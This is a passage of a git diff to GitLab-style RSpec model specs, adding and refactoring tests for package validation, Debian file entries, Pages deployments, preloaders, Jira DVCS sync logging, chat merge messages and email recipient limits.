+ expect(nested_group.root_ancestor).to eq(root_group)
+ expect(deep_nested_group.root_ancestor).to eq(root_group)
+ expect(very_deep_nested_group.root_ancestor).to eq(root_group)
+ end
end
end
@@ -1372,6 +1443,12 @@ RSpec.describe Namespace do
end
end
+ describe '#paid?' do
+ it 'returns false for a root namespace with a free plan' do
+ expect(namespace.paid?).to eq(false)
+ end
+ end
+
describe '#shared_runners_setting' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/models/note_spec.rb b/spec/models/note_spec.rb
index 590acfc0ac1..992b2246f01 100644
--- a/spec/models/note_spec.rb
+++ b/spec/models/note_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe Note do
it { is_expected.to include_module(Participable) }
it { is_expected.to include_module(Mentionable) }
it { is_expected.to include_module(Awardable) }
+ it { is_expected.to include_module(Sortable) }
end
describe 'validation' do
@@ -856,6 +857,22 @@ RSpec.describe Note do
end
end
+ describe '.simple_sorts' do
+ it 'does not contain name sorts' do
+ expect(described_class.simple_sorts.grep(/name/)).to be_empty
+ end
+ end
+
+ describe '.cherry_picked_merge_requests' do
+ it 'returns merge requests that match the given merge commit' do
+ note = create(:track_mr_picking_note, commit_id: '456abc')
+
+ create(:track_mr_picking_note, project: create(:project), commit_id: '456def')
+
+ expect(MergeRequest.id_in(described_class.cherry_picked_merge_requests('456abc'))).to eq([note.noteable])
+ end
+ end
+
describe '#for_project_snippet?' do
it 'returns true for a project snippet note' do
expect(build(:note_on_project_snippet).for_project_snippet?).to be true
@@ -1322,7 +1339,7 @@ RSpec.describe Note do
let_it_be(:note1) { create(:note, note: 'Test 345') }
let_it_be(:note2) { create(:note, note: 'Test 789') }
- describe '#for_note_or_capitalized_note' do
+ describe '.for_note_or_capitalized_note' do
it 'returns the expected matching note' do
notes = described_class.for_note_or_capitalized_note('Test 345')
@@ -1344,7 +1361,7 @@ RSpec.describe Note do
end
end
- describe '#like_note_or_capitalized_note' do
+ describe '.like_note_or_capitalized_note' do
it 'returns the expected matching note' do
notes = described_class.like_note_or_capitalized_note('Test 345')
@@ -1367,69 +1384,69 @@ RSpec.describe Note do
expect(notes.second.id).to eq(note2.id)
end
end
+ end
- describe '#noteable_assignee_or_author' do
- let(:user) { create(:user) }
- let(:noteable) { create(:issue) }
- let(:note) { create(:note, project: noteable.project, noteable: noteable) }
+ describe '#noteable_assignee_or_author?' do
+ let(:user) { create(:user) }
+ let(:noteable) { create(:issue) }
+ let(:note) { create(:note, project: noteable.project, noteable: noteable) }
- subject { note.noteable_assignee_or_author?(user) }
+ subject { note.noteable_assignee_or_author?(user) }
- shared_examples 'assignee check' do
- context 'when the provided user is one of the assignees' do
- before do
- note.noteable.update(assignees: [user, create(:user)])
- end
+ shared_examples 'assignee check' do
+ context 'when the provided user is one of the assignees' do
+ before do
+ note.noteable.update(assignees: [user, create(:user)])
+ end
- it 'returns true' do
- expect(subject).to be_truthy
- end
+ it 'returns true' do
+ expect(subject).to be_truthy
end
end
+ end
- shared_examples 'author check' do
- context 'when the provided user is the author' do
- before do
- note.noteable.update(author: user)
- end
-
- it 'returns true' do
- expect(subject).to be_truthy
- end
+ shared_examples 'author check' do
+ context 'when the provided user is the author' do
+ before do
+ note.noteable.update(author: user)
end
- context 'when the provided user is neither author nor assignee' do
- it 'returns true' do
- expect(subject).to be_falsey
- end
+ it 'returns true' do
+ expect(subject).to be_truthy
end
end
- context 'when user is nil' do
- let(:user) { nil }
-
- it 'returns false' do
+ context 'when the provided user is neither author nor assignee' do
+ it 'returns true' do
expect(subject).to be_falsey
end
end
+ end
+
+ context 'when user is nil' do
+ let(:user) { nil }
- context 'when noteable is an issue' do
- it_behaves_like 'author check'
- it_behaves_like 'assignee check'
+ it 'returns false' do
+ expect(subject).to be_falsey
end
+ end
- context 'when noteable is a merge request' do
- let(:noteable) { create(:merge_request) }
+ context 'when noteable is an issue' do
+ it_behaves_like 'author check'
+ it_behaves_like 'assignee check'
+ end
- it_behaves_like 'author check'
- it_behaves_like 'assignee check'
- end
+ context 'when noteable is a merge request' do
+ let(:noteable) { create(:merge_request) }
- context 'when noteable is a snippet' do
- let(:noteable) { create(:personal_snippet) }
+ it_behaves_like 'author check'
+ it_behaves_like 'assignee check'
+ end
- it_behaves_like 'author check'
- end
+ context 'when noteable is a snippet' do
+ let(:noteable) { create(:personal_snippet) }
+
+ it_behaves_like 'author check'
end
end
diff --git a/spec/models/notification_setting_spec.rb b/spec/models/notification_setting_spec.rb
index 4ef5ab7af48..010b7455f85 100644
--- a/spec/models/notification_setting_spec.rb
+++ b/spec/models/notification_setting_spec.rb
@@ -200,4 +200,18 @@ RSpec.describe NotificationSetting do
subject.email_events
end
end
+
+ describe '#order_by_id_asc' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:other_project) { create(:project) }
+ let_it_be(:notification_setting_1) { create(:notification_setting, project: project) }
+ let_it_be(:notification_setting_2) { create(:notification_setting, project: other_project) }
+ let_it_be(:notification_setting_3) { create(:notification_setting, project: project) }
+
+ let(:ids) { [notification_setting_1, notification_setting_2, notification_setting_3].map(&:id) }
+
+ subject(:ordered_records) { described_class.where(id: ids, source: project).order_by_id_asc }
+
+ it { is_expected.to eq([notification_setting_1, notification_setting_3]) }
+ end
end
diff --git a/spec/models/packages/debian/file_entry_spec.rb b/spec/models/packages/debian/file_entry_spec.rb
new file mode 100644
index 00000000000..7aa16bc0cce
--- /dev/null
+++ b/spec/models/packages/debian/file_entry_spec.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Debian::FileEntry, type: :model do
+ let_it_be(:package_file) { create(:debian_package_file, :dsc) }
+
+ let(:filename) { 'sample_1.2.3~alpha2.dsc' }
+ let(:size) { 671 }
+ let(:md5sum) { '3b0817804f669e16cdefac583ad88f0e' }
+ let(:section) { 'libs' }
+ let(:priority) { 'optional' }
+ let(:sha1sum) { '32ecbd674f0bfd310df68484d87752490685a8d6' }
+ let(:sha256sum) { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba' }
+
+ let(:file_entry) do
+ described_class.new(
+ filename: filename,
+ size: size,
+ md5sum: md5sum,
+ section: section,
+ priority: priority,
+ sha1sum: sha1sum,
+ sha256sum: sha256sum,
+ package_file: package_file
+ )
+ end
+
+ subject { file_entry }
+
+ describe 'validations' do
+ it { is_expected.to be_valid }
+
+ describe '#filename' do
+ it { is_expected.to validate_presence_of(:filename) }
+ it { is_expected.not_to allow_value('Hé').for(:filename) }
+ end
+
+ describe '#size' do
+ it { is_expected.to validate_presence_of(:size) }
+ end
+
+ describe '#md5sum' do
+ it { is_expected.to validate_presence_of(:md5sum) }
+ it { is_expected.not_to allow_value('12345678901234567890123456789012').for(:md5sum).with_message('mismatch for sample_1.2.3~alpha2.dsc: 3b0817804f669e16cdefac583ad88f0e != 12345678901234567890123456789012') }
+ end
+
+ describe '#section' do
+ it { is_expected.to validate_presence_of(:section) }
+ end
+
+ describe '#priority' do
+ it { is_expected.to validate_presence_of(:priority) }
+ end
+
+ describe '#sha1sum' do
+ it { is_expected.to validate_presence_of(:sha1sum) }
+ it { is_expected.not_to allow_value('1234567890123456789012345678901234567890').for(:sha1sum).with_message('mismatch for sample_1.2.3~alpha2.dsc: 32ecbd674f0bfd310df68484d87752490685a8d6 != 1234567890123456789012345678901234567890') }
+ end
+
+ describe '#sha256sum' do
+ it { is_expected.to validate_presence_of(:sha256sum) }
+ it { is_expected.not_to allow_value('1234567890123456789012345678901234567890123456789012345678901234').for(:sha256sum).with_message('mismatch for sample_1.2.3~alpha2.dsc: 844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba != 1234567890123456789012345678901234567890123456789012345678901234') }
+ end
+
+ describe '#package_file' do
+ it { is_expected.to validate_presence_of(:package_file) }
+ end
+ end
+
+ describe '#component' do
+ subject { file_entry.component }
+
+ context 'without section' do
+ let(:section) { nil }
+
+ it { is_expected.to eq 'main' }
+ end
+
+ context 'with empty section' do
+ let(:section) { '' }
+
+ it { is_expected.to eq 'main' }
+ end
+
+ context 'with ruby section' do
+ let(:section) { 'ruby' }
+
+ it { is_expected.to eq 'main' }
+ end
+
+ context 'with contrib/ruby section' do
+ let(:section) { 'contrib/ruby' }
+
+ it { is_expected.to eq 'contrib' }
+ end
+ end
+end
diff --git a/spec/models/packages/dependency_spec.rb b/spec/models/packages/dependency_spec.rb
index fa6b0fd1848..4437cad46cd 100644
--- a/spec/models/packages/dependency_spec.rb
+++ b/spec/models/packages/dependency_spec.rb
@@ -54,7 +54,7 @@ RSpec.describe Packages::Dependency, type: :model do
context 'with too big parameter' do
let(:size) { (Packages::Dependency::MAX_CHUNKED_QUERIES_COUNT * chunk_size) + 1 }
- let(:names_and_version_patterns) { Hash[(1..size).map { |v| [v, v] }] }
+ let(:names_and_version_patterns) { (1..size).to_h { |v| [v, v] } }
it { expect { subject }.to raise_error(ArgumentError, 'Too many names_and_version_patterns') }
end
diff --git a/spec/models/packages/go/module_version_spec.rb b/spec/models/packages/go/module_version_spec.rb
index c4c6a07d9e9..7fa416d8537 100644
--- a/spec/models/packages/go/module_version_spec.rb
+++ b/spec/models/packages/go/module_version_spec.rb
@@ -3,19 +3,9 @@
require 'spec_helper'
RSpec.describe Packages::Go::ModuleVersion, type: :model do
- let_it_be(:user) { create :user }
- let_it_be(:project) { create :project_empty_repo, creator: user, path: 'my-go-lib' }
- let_it_be(:mod) { create :go_module, project: project }
+ include_context 'basic Go module'
- before :all do
- create :go_module_commit, :files, project: project, tag: 'v1.0.0', files: { 'README.md' => 'Hi' }
- create :go_module_commit, :module, project: project, tag: 'v1.0.1'
- create :go_module_commit, :package, project: project, tag: 'v1.0.2', path: 'pkg'
- create :go_module_commit, :module, project: project, tag: 'v1.0.3', name: 'mod'
- create :go_module_commit, :files, project: project, files: { 'y.go' => "package a\n" }
- create :go_module_commit, :module, project: project, name: 'v2'
- create :go_module_commit, :files, project: project, tag: 'v2.0.0', files: { 'v2/x.go' => "package a\n" }
- end
+ let_it_be(:mod) { create :go_module, project: project }
shared_examples '#files' do |desc, *entries|
it "returns #{desc}" do
diff --git a/spec/models/packages/maven/metadatum_spec.rb b/spec/models/packages/maven/metadatum_spec.rb
index 94a0e558985..0000543cb18 100644
--- a/spec/models/packages/maven/metadatum_spec.rb
+++ b/spec/models/packages/maven/metadatum_spec.rb
@@ -54,7 +54,7 @@ RSpec.describe Packages::Maven::Metadatum, type: :model do
let_it_be(:metadatum3) { create(:maven_metadatum, package: package) }
let_it_be(:metadatum4) { create(:maven_metadatum, package: package) }
- subject { Packages::Maven::Metadatum.for_package_ids(package.id).order_created }
+ subject { described_class.for_package_ids(package.id).order_created }
it { is_expected.to eq([metadatum1, metadatum2, metadatum3, metadatum4]) }
end
@@ -64,10 +64,20 @@ RSpec.describe Packages::Maven::Metadatum, type: :model do
let_it_be(:metadatum2) { create(:maven_metadatum, package: package, app_name: 'two') }
let_it_be(:metadatum3) { create(:maven_metadatum, package: package, app_name: 'three') }
- subject { Packages::Maven::Metadatum.for_package_ids(package.id).pluck_app_name }
+ subject { described_class.for_package_ids(package.id).pluck_app_name }
it { is_expected.to match_array([metadatum1, metadatum2, metadatum3].map(&:app_name)) }
end
+
+ describe '.with_path' do
+ let_it_be(:metadatum1) { create(:maven_metadatum, package: package, path: 'one') }
+ let_it_be(:metadatum2) { create(:maven_metadatum, package: package, path: 'two') }
+ let_it_be(:metadatum3) { create(:maven_metadatum, package: package, path: 'three') }
+
+ subject { described_class.with_path('two') }
+
+ it { is_expected.to match_array([metadatum2]) }
+ end
end
end
end
diff --git a/spec/models/packages/package_spec.rb b/spec/models/packages/package_spec.rb
index 82997acee3f..cf52749a186 100644
--- a/spec/models/packages/package_spec.rb
+++ b/spec/models/packages/package_spec.rb
@@ -99,6 +99,34 @@ RSpec.describe Packages::Package, type: :model do
end
end
+ describe '.for_projects' do
+ let_it_be(:package1) { create(:maven_package) }
+ let_it_be(:package2) { create(:maven_package) }
+ let_it_be(:package3) { create(:maven_package) }
+
+ let(:projects) { ::Project.id_in([package1.project_id, package2.project_id]) }
+
+ subject { described_class.for_projects(projects.select(:id)) }
+
+ it 'returns package1 and package2' do
+ expect(projects).not_to receive(:any?)
+
+ expect(subject).to match_array([package1, package2])
+ end
+
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
+ end
+
+ it 'returns package1 and package2' do
+ expect(projects).to receive(:any?).and_call_original
+
+ expect(subject).to match_array([package1, package2])
+ end
+ end
+ end
+
describe 'validations' do
subject { build(:package) }
@@ -339,7 +367,14 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.to validate_presence_of(:version) }
it { is_expected.to allow_value('1.2.3').for(:version) }
it { is_expected.to allow_value('1.3.350').for(:version) }
- it { is_expected.not_to allow_value('1.3.350-20201230123456').for(:version) }
+ it { is_expected.to allow_value('1.3.350-20201230123456').for(:version) }
+ it { is_expected.to allow_value('1.2.3-rc1').for(:version) }
+ it { is_expected.to allow_value('1.2.3g').for(:version) }
+ it { is_expected.to allow_value('1.2').for(:version) }
+ it { is_expected.to allow_value('1.2.bananas').for(:version) }
+ it { is_expected.to allow_value('v1.2.4-build').for(:version) }
+ it { is_expected.to allow_value('d50d836eb3de6177ce6c7a5482f27f9c2c84b672').for(:version) }
+ it { is_expected.to allow_value('this_is_a_string_only').for(:version) }
it { is_expected.not_to allow_value('..1.2.3').for(:version) }
it { is_expected.not_to allow_value(' 1.2.3').for(:version) }
it { is_expected.not_to allow_value("1.2.3 \r\t").for(:version) }
@@ -621,10 +656,12 @@ RSpec.describe Packages::Package, type: :model do
describe '.displayable' do
let_it_be(:hidden_package) { create(:maven_package, :hidden) }
let_it_be(:processing_package) { create(:maven_package, :processing) }
+ let_it_be(:error_package) { create(:maven_package, :error) }
subject { described_class.displayable }
- it 'does not include hidden packages', :aggregate_failures do
+ it 'does not include non-displayable packages', :aggregate_failures do
+ is_expected.to include(error_package)
is_expected.not_to include(hidden_package)
is_expected.not_to include(processing_package)
end
diff --git a/spec/models/pages/lookup_path_spec.rb b/spec/models/pages/lookup_path_spec.rb
index 9e65635da91..f2659771a49 100644
--- a/spec/models/pages/lookup_path_spec.rb
+++ b/spec/models/pages/lookup_path_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe Pages::LookupPath do
it 'return nil when legacy storage is disabled and there is no deployment' do
stub_feature_flags(pages_serve_from_legacy_storage: false)
expect(Gitlab::ErrorTracking).to receive(:track_exception)
- .with(described_class::LegacyStorageDisabledError)
+ .with(described_class::LegacyStorageDisabledError, project_id: project.id)
.and_call_original
expect(source).to eq(nil)
@@ -136,14 +136,6 @@ RSpec.describe Pages::LookupPath do
)
end
end
-
- context 'when pages_serve_from_migrated_zip feature flag is disabled' do
- before do
- stub_feature_flags(pages_serve_from_migrated_zip: false)
- end
-
- include_examples 'uses disk storage'
- end
end
end
end
diff --git a/spec/models/pages_deployment_spec.rb b/spec/models/pages_deployment_spec.rb
index 029eb8e513a..a27d836e2c2 100644
--- a/spec/models/pages_deployment_spec.rb
+++ b/spec/models/pages_deployment_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe PagesDeployment do
+ let_it_be(:project) { create(:project) }
+
describe 'associations' do
it { is_expected.to belong_to(:project).required }
it { is_expected.to belong_to(:ci_build).optional }
@@ -28,7 +30,6 @@ RSpec.describe PagesDeployment do
describe '.migrated_from_legacy_storage' do
it 'only returns migrated deployments' do
- project = create(:project)
migrated_deployment = create_migrated_deployment(project)
# create one other deployment
create(:pages_deployment, project: project)
@@ -37,6 +38,27 @@ RSpec.describe PagesDeployment do
end
end
+ context 'with deployments stored locally and remotely' do
+ before do
+ stub_pages_object_storage(::Pages::DeploymentUploader)
+ end
+
+ let!(:remote_deployment) { create(:pages_deployment, project: project, file_store: ::ObjectStorage::Store::REMOTE) }
+ let!(:local_deployment) { create(:pages_deployment, project: project, file_store: ::ObjectStorage::Store::LOCAL) }
+
+ describe '.with_files_stored_locally' do
+ it 'only returns deployments with files stored locally' do
+ expect(described_class.with_files_stored_locally).to contain_exactly(local_deployment)
+ end
+ end
+
+ describe '.with_files_stored_remotely' do
+ it 'only returns deployments with files stored remotely' do
+ expect(described_class.with_files_stored_remotely).to contain_exactly(remote_deployment)
+ end
+ end
+ end
+
describe '#migrated?' do
it 'returns false for normal deployment' do
deployment = create(:pages_deployment)
@@ -45,7 +67,6 @@ RSpec.describe PagesDeployment do
end
it 'returns true for migrated deployment' do
- project = create(:project)
deployment = create_migrated_deployment(project)
expect(deployment.migrated?).to eq(true)
@@ -67,7 +88,6 @@ RSpec.describe PagesDeployment do
end
describe 'default for file_store' do
- let(:project) { create(:project) }
let(:deployment) do
filepath = Rails.root.join("spec/fixtures/pages.zip")
diff --git a/spec/models/preloaders/labels_preloader_spec.rb b/spec/models/preloaders/labels_preloader_spec.rb
new file mode 100644
index 00000000000..94de00bb94c
--- /dev/null
+++ b/spec/models/preloaders/labels_preloader_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Preloaders::LabelsPreloader do
+ let_it_be(:user) { create(:user) }
+
+ shared_examples 'an efficient database query' do
+ let(:subscriptions) { labels.each { |l| create(:subscription, subscribable: l, project: l.project, user: user) }}
+
+ it 'does not make n+1 queries' do
+ first_label = labels_with_preloaded_data.first
+ clean_labels = labels_with_preloaded_data
+
+ expect { access_data(clean_labels) }.to issue_same_number_of_queries_as { access_data([first_label]) }
+ end
+ end
+
+ context 'project labels' do
+ let_it_be(:projects) { create_list(:project, 3, :public, :repository) }
+ let_it_be(:labels) { projects.each { |p| create(:label, project: p) } }
+
+ it_behaves_like 'an efficient database query'
+ end
+
+ context 'group labels' do
+ let_it_be(:groups) { create_list(:group, 3) }
+ let_it_be(:labels) { groups.each { |g| create(:group_label, group: g) } }
+
+ it_behaves_like 'an efficient database query'
+ end
+
+ private
+
+ def labels_with_preloaded_data
+ l = Label.where(id: labels.map(&:id))
+ described_class.new(l, user).preload_all
+ l
+ end
+
+ def access_data(labels)
+ labels.each do |label|
+ if label.is_a?(ProjectLabel)
+ label.project.project_feature
+ label.lazy_subscription(user, label.project)
+ elsif label.is_a?(GroupLabel)
+ label.group.route
+ label.lazy_subscription(user)
+ end
+ end
+ end
+end
diff --git a/spec/models/preloaders/user_max_access_level_in_projects_preloader_spec.rb b/spec/models/preloaders/user_max_access_level_in_projects_preloader_spec.rb
new file mode 100644
index 00000000000..16e699b7e0e
--- /dev/null
+++ b/spec/models/preloaders/user_max_access_level_in_projects_preloader_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Preloaders::UserMaxAccessLevelInProjectsPreloader do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project_1) { create(:project) }
+ let_it_be(:project_2) { create(:project) }
+ let_it_be(:project_3) { create(:project) }
+
+ let(:projects) { [project_1, project_2, project_3] }
+
+ before do
+ project_1.add_developer(user)
+ project_2.add_developer(user)
+ end
+
+ context 'preload maximum access level to avoid querying project_authorizations', :request_store do
+ it 'avoids N+1 queries', :request_store do
+ Preloaders::UserMaxAccessLevelInProjectsPreloader.new(projects, user).execute
+
+ query_count = ActiveRecord::QueryRecorder.new do
+ projects.each { |project| user.can?(:read_project, project) }
+ end.count
+
+ expect(query_count).to eq(0)
+ end
+
+ it 'runs N queries without preloading' do
+ query_count = ActiveRecord::QueryRecorder.new do
+ projects.each { |project| user.can?(:read_project, project) }
+ end.count
+
+ expect(query_count).to eq(projects.size)
+ end
+ end
+end
diff --git a/spec/models/project_feature_usage_spec.rb b/spec/models/project_feature_usage_spec.rb
index cd70602fc4d..4baa59535e4 100644
--- a/spec/models/project_feature_usage_spec.rb
+++ b/spec/models/project_feature_usage_spec.rb
@@ -24,21 +24,91 @@ RSpec.describe ProjectFeatureUsage, type: :model do
subject { project.feature_usage }
- it 'logs Jira DVCS Cloud last sync' do
- freeze_time do
- subject.log_jira_dvcs_integration_usage
+ context 'when the feature usage has not been created yet' do
+ it 'logs Jira DVCS Cloud last sync' do
+ freeze_time do
+ subject.log_jira_dvcs_integration_usage
- expect(subject.jira_dvcs_server_last_sync_at).to be_nil
- expect(subject.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.current)
+ expect(subject.jira_dvcs_server_last_sync_at).to be_nil
+ expect(subject.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.current)
+ end
+ end
+
+ it 'logs Jira DVCS Server last sync' do
+ freeze_time do
+ subject.log_jira_dvcs_integration_usage(cloud: false)
+
+ expect(subject.jira_dvcs_server_last_sync_at).to be_like_time(Time.current)
+ expect(subject.jira_dvcs_cloud_last_sync_at).to be_nil
+ end
end
end
- it 'logs Jira DVCS Server last sync' do
- freeze_time do
- subject.log_jira_dvcs_integration_usage(cloud: false)
+ context 'when the feature usage already exists' do
+ let(:today) { Time.current.beginning_of_day }
+ let(:project) { create(:project) }
+
+ subject { project.feature_usage }
- expect(subject.jira_dvcs_server_last_sync_at).to be_like_time(Time.current)
- expect(subject.jira_dvcs_cloud_last_sync_at).to be_nil
+ where(:cloud, :timestamp_field) do
+ [
+ [true, :jira_dvcs_cloud_last_sync_at],
+ [false, :jira_dvcs_server_last_sync_at]
+ ]
+ end
+
+ with_them do
+ context 'when Jira DVCS Cloud last sync has not been logged' do
+ before do
+ travel_to today - 3.days do
+ subject.log_jira_dvcs_integration_usage(cloud: !cloud)
+ end
+ end
+
+ it 'logs Jira DVCS Cloud last sync' do
+ freeze_time do
+ subject.log_jira_dvcs_integration_usage(cloud: cloud)
+
+ expect(subject.reload.send(timestamp_field)).to be_like_time(Time.current)
+ end
+ end
+ end
+
+ context 'when Jira DVCS Cloud last sync was logged today' do
+ let(:last_updated) { today + 1.hour }
+
+ before do
+ travel_to last_updated do
+ subject.log_jira_dvcs_integration_usage(cloud: cloud)
+ end
+ end
+
+ it 'does not log Jira DVCS Cloud last sync' do
+ travel_to today + 2.hours do
+ subject.log_jira_dvcs_integration_usage(cloud: cloud)
+
+ expect(subject.reload.send(timestamp_field)).to be_like_time(last_updated)
+ end
+ end
+ end
+
+ context 'when Jira DVCS Cloud last sync was logged yesterday' do
+ let(:last_updated) { today - 2.days }
+
+ before do
+ travel_to last_updated do
+ subject.log_jira_dvcs_integration_usage(cloud: cloud)
+ end
+ end
+
+ it 'logs Jira DVCS Cloud last sync' do
+ travel_to today + 1.hour do
+ subject.log_jira_dvcs_integration_usage(cloud: cloud)
+
+ expect(subject.reload.send(timestamp_field)).to be_like_time(today + 1.hour)
+ end
+ end
+ end
end
end
diff --git a/spec/models/project_services/chat_message/alert_message_spec.rb b/spec/models/project_services/chat_message/alert_message_spec.rb
index 927c5dffe77..4d400990789 100644
--- a/spec/models/project_services/chat_message/alert_message_spec.rb
+++ b/spec/models/project_services/chat_message/alert_message_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ChatMessage::AlertMessage do
subject { described_class.new(args) }
let_it_be(:start_time) { Time.current }
+
let(:alert) { create(:alert_management_alert, started_at: start_time) }
let(:args) do
diff --git a/spec/models/project_services/chat_message/merge_message_spec.rb b/spec/models/project_services/chat_message/merge_message_spec.rb
index 02b266e4fae..71cfe3ff45b 100644
--- a/spec/models/project_services/chat_message/merge_message_spec.rb
+++ b/spec/models/project_services/chat_message/merge_message_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe ChatMessage::MergeMessage do
project_url: 'http://somewhere.com',
object_attributes: {
- title: "Merge Request title\nSecond line",
+ title: "Merge request title\nSecond line",
id: 10,
iid: 100,
assignee_id: 1,
@@ -35,7 +35,7 @@ RSpec.describe ChatMessage::MergeMessage do
context 'open' do
it 'returns a message regarding opening of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) opened merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> in <http://somewhere.com|project_name>')
+ 'Test User (test.user) opened merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge request title*> in <http://somewhere.com|project_name>')
expect(subject.attachments).to be_empty
end
end
@@ -46,7 +46,7 @@ RSpec.describe ChatMessage::MergeMessage do
end
it 'returns a message regarding closing of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) closed merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> in <http://somewhere.com|project_name>')
+ 'Test User (test.user) closed merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge request title*> in <http://somewhere.com|project_name>')
expect(subject.attachments).to be_empty
end
end
@@ -60,12 +60,12 @@ RSpec.describe ChatMessage::MergeMessage do
context 'open' do
it 'returns a message regarding opening of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) opened merge request [!100 *Merge Request title*](http://somewhere.com/-/merge_requests/100) in [project_name](http://somewhere.com)')
+ 'Test User (test.user) opened merge request [!100 *Merge request title*](http://somewhere.com/-/merge_requests/100) in [project_name](http://somewhere.com)')
expect(subject.attachments).to be_empty
expect(subject.activity).to eq({
- title: 'Merge Request opened by Test User (test.user)',
+ title: 'Merge request opened by Test User (test.user)',
subtitle: 'in [project_name](http://somewhere.com)',
- text: '[!100 *Merge Request title*](http://somewhere.com/-/merge_requests/100)',
+ text: '[!100 *Merge request title*](http://somewhere.com/-/merge_requests/100)',
image: 'http://someavatar.com'
})
end
@@ -78,12 +78,12 @@ RSpec.describe ChatMessage::MergeMessage do
it 'returns a message regarding closing of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) closed merge request [!100 *Merge Request title*](http://somewhere.com/-/merge_requests/100) in [project_name](http://somewhere.com)')
+ 'Test User (test.user) closed merge request [!100 *Merge request title*](http://somewhere.com/-/merge_requests/100) in [project_name](http://somewhere.com)')
expect(subject.attachments).to be_empty
expect(subject.activity).to eq({
- title: 'Merge Request closed by Test User (test.user)',
+ title: 'Merge request closed by Test User (test.user)',
subtitle: 'in [project_name](http://somewhere.com)',
- text: '[!100 *Merge Request title*](http://somewhere.com/-/merge_requests/100)',
+ text: '[!100 *Merge request title*](http://somewhere.com/-/merge_requests/100)',
image: 'http://someavatar.com'
})
end
@@ -97,7 +97,7 @@ RSpec.describe ChatMessage::MergeMessage do
it 'returns a message regarding completed approval of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) approved merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'Test User (test.user) approved merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge request title*> '\
'in <http://somewhere.com|project_name>')
expect(subject.attachments).to be_empty
end
@@ -110,7 +110,7 @@ RSpec.describe ChatMessage::MergeMessage do
it 'returns a message regarding revocation of completed approval of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) unapproved merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'Test User (test.user) unapproved merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge request title*> '\
'in <http://somewhere.com|project_name>')
expect(subject.attachments).to be_empty
end
@@ -123,7 +123,7 @@ RSpec.describe ChatMessage::MergeMessage do
it 'returns a message regarding added approval of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) added their approval to merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'Test User (test.user) added their approval to merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge request title*> '\
'in <http://somewhere.com|project_name>')
expect(subject.attachments).to be_empty
end
@@ -136,7 +136,7 @@ RSpec.describe ChatMessage::MergeMessage do
it 'returns a message regarding revoking approval of merge requests' do
expect(subject.pretext).to eq(
- 'Test User (test.user) removed their approval from merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge Request title*> '\
+ 'Test User (test.user) removed their approval from merge request <http://somewhere.com/-/merge_requests/100|!100 *Merge request title*> '\
'in <http://somewhere.com|project_name>')
expect(subject.attachments).to be_empty
end
diff --git a/spec/models/project_services/emails_on_push_service_spec.rb b/spec/models/project_services/emails_on_push_service_spec.rb
index 6954a72f9c1..c5927503eec 100644
--- a/spec/models/project_services/emails_on_push_service_spec.rb
+++ b/spec/models/project_services/emails_on_push_service_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe EmailsOnPushService do
+ let_it_be(:project) { create_default(:project).freeze }
+
describe 'Validations' do
context 'when service is active' do
before do
@@ -19,6 +21,42 @@ RSpec.describe EmailsOnPushService do
it { is_expected.not_to validate_presence_of(:recipients) }
end
+
+ describe 'validates number of recipients' do
+ before do
+ stub_const("#{described_class}::RECIPIENTS_LIMIT", 2)
+ end
+
+ subject(:service) { described_class.new(project: project, recipients: recipients, active: true) }
+
+ context 'valid number of recipients' do
+ let(:recipients) { 'foo@bar.com duplicate@example.com Duplicate@example.com invalid-email' }
+
+ it 'does not count duplicates and invalid emails' do
+ is_expected.to be_valid
+ end
+ end
+
+ context 'invalid number of recipients' do
+ let(:recipients) { 'foo@bar.com bar@foo.com bob@gitlab.com' }
+
+ it { is_expected.not_to be_valid }
+
+ it 'adds an error message' do
+ service.valid?
+
+ expect(service.errors).to contain_exactly('Recipients can\'t exceed 2')
+ end
+
+ context 'when service is not active' do
+ before do
+ service.active = false
+ end
+
+ it { is_expected.to be_valid }
+ end
+ end
+ end
end
describe '.new' do
@@ -39,6 +77,14 @@ RSpec.describe EmailsOnPushService do
end
end
+ describe '.valid_recipients' do
+ let(:recipients) { '<invalid> foobar Valid@recipient.com Dup@lica.te dup@lica.te Dup@Lica.te' }
+
+ it 'removes invalid email addresses and removes duplicates by keeping the original capitalization' do
+ expect(described_class.valid_recipients(recipients)).to contain_exactly('Valid@recipient.com', 'Dup@lica.te')
+ end
+ end
+
describe '#execute' do
